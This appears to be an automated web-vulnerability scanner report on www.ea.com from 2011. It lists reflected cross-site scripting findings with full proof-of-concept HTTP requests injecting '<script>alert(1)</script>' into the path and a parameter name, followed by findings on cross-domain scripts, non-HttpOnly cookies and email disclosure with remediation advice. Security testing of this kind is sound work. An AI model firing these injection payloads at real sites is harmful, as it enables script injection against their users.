This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wii73bb4"><script>alert(1)</script>d65c535f196 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 09 Jan 2011 03:08:31 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=g1f11esrsvgvlcmd3l6f10r4o0; path=/ Status: 404 Not Found Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31123
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <link rel="canonical" href="http://www.ea.com/wii73bb4"><script>alert(1)</script>d65c535f196" /> ...[SNIP]...
1.22. http://www.ea.com/wii [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ea.com
Path:
/wii
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42ab4"><script>alert(1)</script>a2f77cd35b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wii?42ab4"><script>alert(1)</script>a2f77cd35b6=1 HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:52 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=jinvebj2q69pplgb192rrvfur0; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 71389
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... <a class="shareIcon digg" href="http://www.digg.com/submit?url=http://www.ea.com/wii?42ab4"><script>alert(1)</script>a2f77cd35b6=1"> ...[SNIP]...
2. Cross-domain script includepreviousnext There are 10 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /platform/online-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:33 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=jbq0ai9k9l5t598m4of0l22c32; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 68051
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... </script>
GET /platform/pc-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:31 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=402g5cpkl5kqg8i27g71bepsl4; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84317
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... </script>
GET /platform/ps3-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:40 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=4l4p40mas0vbdpd6hs2fi6r4h4; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84808
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... </script>
GET /platform/xbox-360-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:34 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=50refd00geb05if67umc20au74; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84273
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]... </script>
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=roj6d8htea48u7e576mme7s3h2; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=t8hoe1ig0k16bn396grb2ghf02; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hasbro HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:29 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=t8hoe1ig0k16bn396grb2ghf02; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 70504
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=27lnus2ntqriv5k00j2k40ng93; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ipad HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:44 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=27lnus2ntqriv5k00j2k40ng93; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 61969
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=18e0qmhkmneofnmkng5qlhs1k4; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /iphone HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:42 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=18e0qmhkmneofnmkng5qlhs1k4; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 74885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=3f7u6pkb5ng23ddteumgngbv25; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mobile HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:47 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=3f7u6pkb5ng23ddteumgngbv25; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 71803
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=jbq0ai9k9l5t598m4of0l22c32; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /platform/online-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:33 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=jbq0ai9k9l5t598m4of0l22c32; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 68051
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=402g5cpkl5kqg8i27g71bepsl4; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /platform/pc-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:31 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=402g5cpkl5kqg8i27g71bepsl4; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84317
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=4l4p40mas0vbdpd6hs2fi6r4h4; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /platform/ps3-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:40 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=4l4p40mas0vbdpd6hs2fi6r4h4; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84808
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=50refd00geb05if67umc20au74; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /platform/xbox-360-games HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:34 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=50refd00geb05if67umc20au74; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 84273
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=4vsvrj360p5moup45jahp1d1l2; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /wii HTTP/1.1 Host: www.ea.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 09 Jan 2011 03:07:41 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: symfony=4vsvrj360p5moup45jahp1d1l2; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 71158
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US" xmln ...[SNIP]...
4. Email addresses disclosedprevious There are 3 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).